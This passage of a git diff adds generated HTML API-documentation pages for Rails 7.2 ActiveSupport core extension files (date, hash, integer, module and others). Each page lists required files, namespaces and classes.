  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/class/subclasses_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/class/subclasses_rb.html new file mode 100644 index 0000000000..830c194288 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/class/subclasses_rb.html @@ -0,0 +1,85 @@ +--- +title: subclasses.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/descendants_tracker
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/class_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/class_rb.html new file mode 100644 index 0000000000..0da3553519 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/class_rb.html @@ -0,0 +1,67 @@ +--- +title: class.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/class/attribute
  • + +
  • active_support/core_ext/class/subclasses
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date/acts_like_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date/acts_like_rb.html new file mode 100644 index 0000000000..50418c7d40 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date/acts_like_rb.html @@ -0,0 +1,78 @@ +--- +title: acts_like.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/acts_like
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date/blank_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date/blank_rb.html new file mode 100644 index 0000000000..8e6afc4a19 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date/blank_rb.html @@ -0,0 +1,78 @@ +--- +title: blank.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date/calculations_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date/calculations_rb.html new file mode 100644 index 0000000000..43934b3d59 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date/calculations_rb.html @@ -0,0 +1,95 @@ +--- +title: calculations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • active_support/duration
  • + +
  • active_support/core_ext/object/acts_like
  • + +
  • active_support/core_ext/date/zones
  • + +
  • active_support/core_ext/time/zones
  • + +
  • active_support/core_ext/date_and_time/calculations
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date/conversions_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date/conversions_rb.html new file mode 100644 index 0000000000..c92550b4df --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date/conversions_rb.html @@ -0,0 +1,84 @@ +--- +title: conversions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • active_support/inflector/methods
  • + +
  • active_support/core_ext/date/zones
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date/zones_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date/zones_rb.html new file mode 100644 index 0000000000..5c5150cea2 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date/zones_rb.html @@ -0,0 +1,80 @@ +--- +title: zones.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • active_support/core_ext/date_and_time/zones
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/calculations_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/calculations_rb.html new file mode 100644 index 0000000000..12ae36351e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/calculations_rb.html @@ -0,0 +1,82 @@ +--- +title: calculations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
  • active_support/core_ext/date_time/conversions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/compatibility_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/compatibility_rb.html new file mode 100644 index 0000000000..08a1c3da5d --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/compatibility_rb.html @@ -0,0 +1,82 @@ +--- +title: compatibility.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/zones_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/zones_rb.html new file mode 100644 index 0000000000..198a02b62f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_and_time/zones_rb.html @@ -0,0 +1,74 @@ +--- +title: zones.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_rb.html new file mode 100644 index 0000000000..aa260e8864 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_rb.html @@ -0,0 +1,73 @@ +--- +title: date.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/date/acts_like
  • + +
  • active_support/core_ext/date/blank
  • + +
  • active_support/core_ext/date/calculations
  • + +
  • active_support/core_ext/date/conversions
  • + +
  • active_support/core_ext/date/zones
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/acts_like_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/acts_like_rb.html new file mode 100644 index 0000000000..e570e7fb2c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/acts_like_rb.html @@ -0,0 +1,80 @@ +--- +title: acts_like.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • active_support/core_ext/object/acts_like
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/blank_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/blank_rb.html new file mode 100644 index 0000000000..ac7cd0dc63 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/blank_rb.html @@ -0,0 +1,78 @@ +--- +title: blank.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/calculations_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/calculations_rb.html new file mode 100644 index 0000000000..54e5fe914b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/calculations_rb.html @@ -0,0 +1,78 @@ +--- +title: calculations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/compatibility_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/compatibility_rb.html new file mode 100644 index 0000000000..b05e5158c8 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/compatibility_rb.html @@ -0,0 +1,80 @@ +--- +title: compatibility.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/date_and_time/compatibility
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/conversions_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/conversions_rb.html new file mode 100644 index 0000000000..379d87f746 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time/conversions_rb.html @@ -0,0 +1,93 @@ +--- +title: conversions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • active_support/inflector/methods
  • + +
  • active_support/core_ext/time/conversions
  • + +
  • active_support/core_ext/date_time/calculations
  • + +
  • active_support/values/time_zone
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/date_time_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time_rb.html new file mode 100644 index 0000000000..a9cada8e36 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/date_time_rb.html @@ -0,0 +1,73 @@ +--- +title: date_time.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/date_time/acts_like
  • + +
  • active_support/core_ext/date_time/blank
  • + +
  • active_support/core_ext/date_time/calculations
  • + +
  • active_support/core_ext/date_time/compatibility
  • + +
  • active_support/core_ext/date_time/conversions
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/digest/uuid_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/digest/uuid_rb.html new file mode 100644 index 0000000000..d9569b30aa --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/digest/uuid_rb.html @@ -0,0 +1,82 @@ +--- +title: uuid.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/digest_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/digest_rb.html new file mode 100644 index 0000000000..d491637939 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/digest_rb.html @@ -0,0 +1,65 @@ +--- +title: digest.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/digest/uuid
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/enumerable_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/enumerable_rb.html new file mode 100644 index 0000000000..50e6f646d9 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/enumerable_rb.html @@ -0,0 +1,89 @@ +--- +title: enumerable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/erb/util_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/erb/util_rb.html new file mode 100644 index 0000000000..d51f190b44 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/erb/util_rb.html @@ -0,0 +1,95 @@ +--- +title: util.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • erb
  • + +
  • strscan
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/file/atomic_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/file/atomic_rb.html new file mode 100644 index 0000000000..4e5e69c9f7 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/file/atomic_rb.html @@ -0,0 +1,80 @@ +--- +title: atomic.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
  • tempfile
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/file_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/file_rb.html new file mode 100644 index 0000000000..c57e8e60ef --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/file_rb.html @@ -0,0 +1,65 @@ +--- +title: file.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/file/atomic
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/conversions_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/conversions_rb.html new file mode 100644 index 0000000000..38eac5763c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/conversions_rb.html @@ -0,0 +1,103 @@ +--- +title: conversions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/blank
  • + +
  • active_support/core_ext/object/to_param
  • + +
  • active_support/core_ext/object/to_query
  • + +
  • active_support/core_ext/object/try
  • + +
  • active_support/core_ext/array/wrap
  • + +
  • active_support/core_ext/hash/reverse_merge
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/builder
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_merge_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_merge_rb.html new file mode 100644 index 0000000000..89105f2bb8 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_merge_rb.html @@ -0,0 +1,78 @@ +--- +title: deep_merge.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/deep_mergeable
  • + +
+ + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_transform_values_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_transform_values_rb.html new file mode 100644 index 0000000000..161ecced0e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/deep_transform_values_rb.html @@ -0,0 +1,70 @@ +--- +title: deep_transform_values.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/except_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/except_rb.html new file mode 100644 index 0000000000..9ae28251e6 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/except_rb.html @@ -0,0 +1,70 @@ +--- +title: except.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/indifferent_access_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/indifferent_access_rb.html new file mode 100644 index 0000000000..85784bfc35 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/indifferent_access_rb.html @@ -0,0 +1,85 @@ +--- +title: indifferent_access.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/hash_with_indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/keys_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/keys_rb.html new file mode 100644 index 0000000000..273333eb8f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/keys_rb.html @@ -0,0 +1,70 @@ +--- +title: keys.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/reverse_merge_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/reverse_merge_rb.html new file mode 100644 index 0000000000..791a6f2c9f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/reverse_merge_rb.html @@ -0,0 +1,70 @@ +--- +title: reverse_merge.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash/slice_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/slice_rb.html new file mode 100644 index 0000000000..f83050ad85 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash/slice_rb.html @@ -0,0 +1,70 @@ +--- +title: slice.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/hash_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/hash_rb.html new file mode 100644 index 0000000000..cdb9445fe2 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/hash_rb.html @@ -0,0 +1,79 @@ +--- +title: hash.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/conversions
  • + +
  • active_support/core_ext/hash/deep_merge
  • + +
  • active_support/core_ext/hash/deep_transform_values
  • + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/hash/reverse_merge
  • + +
  • active_support/core_ext/hash/slice
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/integer/inflections_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/inflections_rb.html new file mode 100644 index 0000000000..64fd1f1985 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/inflections_rb.html @@ -0,0 +1,85 @@ +--- +title: inflections.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/inflector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/integer/multiple_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/multiple_rb.html new file mode 100644 index 0000000000..ae8c138588 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/multiple_rb.html @@ -0,0 +1,70 @@ +--- +title: multiple.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/integer/time_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/time_rb.html new file mode 100644 index 0000000000..4df7a1b938 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/integer/time_rb.html @@ -0,0 +1,87 @@ +--- +title: time.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/duration
  • + +
  • active_support/core_ext/numeric/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/integer_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/integer_rb.html new file mode 100644 index 0000000000..d06b8e25c3 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/integer_rb.html @@ -0,0 +1,69 @@ +--- +title: integer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/integer/multiple
  • + +
  • active_support/core_ext/integer/inflections
  • + +
  • active_support/core_ext/integer/time
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/concern_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/concern_rb.html new file mode 100644 index 0000000000..9037fa977b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/concern_rb.html @@ -0,0 +1,78 @@ +--- +title: concern.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/concerning
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/reporting_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/reporting_rb.html new file mode 100644 index 0000000000..d9794d70b7 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/reporting_rb.html @@ -0,0 +1,70 @@ +--- +title: reporting.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/singleton_class_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/singleton_class_rb.html new file mode 100644 index 0000000000..81ee22afc5 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel/singleton_class_rb.html @@ -0,0 +1,70 @@ +--- +title: singleton_class.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/kernel_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel_rb.html new file mode 100644 index 0000000000..176fc99417 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/kernel_rb.html @@ -0,0 +1,69 @@ +--- +title: kernel.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/kernel/concern
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/core_ext/kernel/singleton_class
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/load_error_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/load_error_rb.html new file mode 100644 index 0000000000..1137080a3c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/load_error_rb.html @@ -0,0 +1,70 @@ +--- +title: load_error.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/aliasing_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/aliasing_rb.html new file mode 100644 index 0000000000..cc2a5cfc7c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/aliasing_rb.html @@ -0,0 +1,70 @@ +--- +title: aliasing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/anonymous_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/anonymous_rb.html new file mode 100644 index 0000000000..145bcc8b83 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/anonymous_rb.html @@ -0,0 +1,70 @@ +--- +title: anonymous.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/attr_internal_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attr_internal_rb.html new file mode 100644 index 0000000000..6a5341e1df --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attr_internal_rb.html @@ -0,0 +1,70 @@ +--- +title: attr_internal.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread_rb.html new file mode 100644 index 0000000000..39795643e6 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread_rb.html @@ -0,0 +1,82 @@ +--- +title: attribute_accessors_per_thread.rb +layout: default +--- +
+ + +
+
+ +
+ +

Attribute Accessors per Thread

+ +

Extends the module object with class/module and instance accessors for class/module attributes, just like the native attr* accessors for instance attributes, but does so on a per-thread basis.

+ +

So the values are scoped within the Thread.current space under the class name of the module.

+ +

Note that it can also be scoped per-fiber if Rails.application.config.active_support.isolation_level is set to :fiber.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_rb.html new file mode 100644 index 0000000000..9df0447c5e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/attribute_accessors_rb.html @@ -0,0 +1,78 @@ +--- +title: attribute_accessors.rb +layout: default +--- +
+ + +
+
+ +
+ +

Attribute Accessors

+ +

Extends the module object with class/module and instance accessors for class/module attributes, just like the native attr* accessors for instance attributes.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/concerning_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/concerning_rb.html new file mode 100644 index 0000000000..fb49e61f31 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/concerning_rb.html @@ -0,0 +1,85 @@ +--- +title: concerning.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/delegation_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/delegation_rb.html new file mode 100644 index 0000000000..9c6712b5d1 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/delegation_rb.html @@ -0,0 +1,85 @@ +--- +title: delegation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/deprecation_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/deprecation_rb.html new file mode 100644 index 0000000000..cff92c2a83 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/deprecation_rb.html @@ -0,0 +1,77 @@ +--- +title: deprecation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/core_ext/module/introspection_rb.html b/src/7.2/files/activesupport/lib/active_support/core_ext/module/introspection_rb.html new file mode 100644 index 0000000000..e81184f6a9 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/core_ext/module/introspection_rb.html @@ -0,0 +1,85 @@ +--- +title: introspection.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/inflector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

